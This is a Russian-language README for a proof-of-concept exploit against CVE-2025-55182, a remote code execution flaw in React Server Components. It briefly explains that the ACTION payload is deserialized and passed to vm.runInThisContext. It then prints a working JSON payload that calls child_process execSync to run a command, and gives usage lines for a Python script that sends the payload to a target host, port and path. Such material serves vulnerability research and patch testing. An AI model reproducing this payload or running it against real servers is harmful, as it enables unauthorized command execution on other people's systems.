CVE-2025-55182 React Server Components RCE POC

Данный проект представляет CVE-2025-55182 - React Server Components (RSC) RCE Proof of Concept, демонстрирующий возможность удаленного выполнения кода в определенных условиях с помощью vm.runInThisContext и злонамеренного ACTION payload.

• Сторона Python: автоматическая отправка вредоносного ACTION payload и анализ ответа

⚠ Описание уязвимости (CVE-2025-55182)

ACTION payload в React Server Components при определенных условиях:

• десериализуется в JS-объект
• передается для выполнения в vm.runInThisContext
• автоматически внедряется в server actions

Злоумышленник может сформировать такой payload:

{
  "$ACTION_REF_0": "",
  "$ACTION_0:0": "{\"id\": \"vm#runInThisContext\", \"bound\": [\"global.process.mainModule.require('child_process').execSync('calc').toString()\"]}"
}

python a.py --host <целевой IP> --port <порт> --path <путь URL>

python a.py --host 127.0.0.1 --port 3003 --path /feedback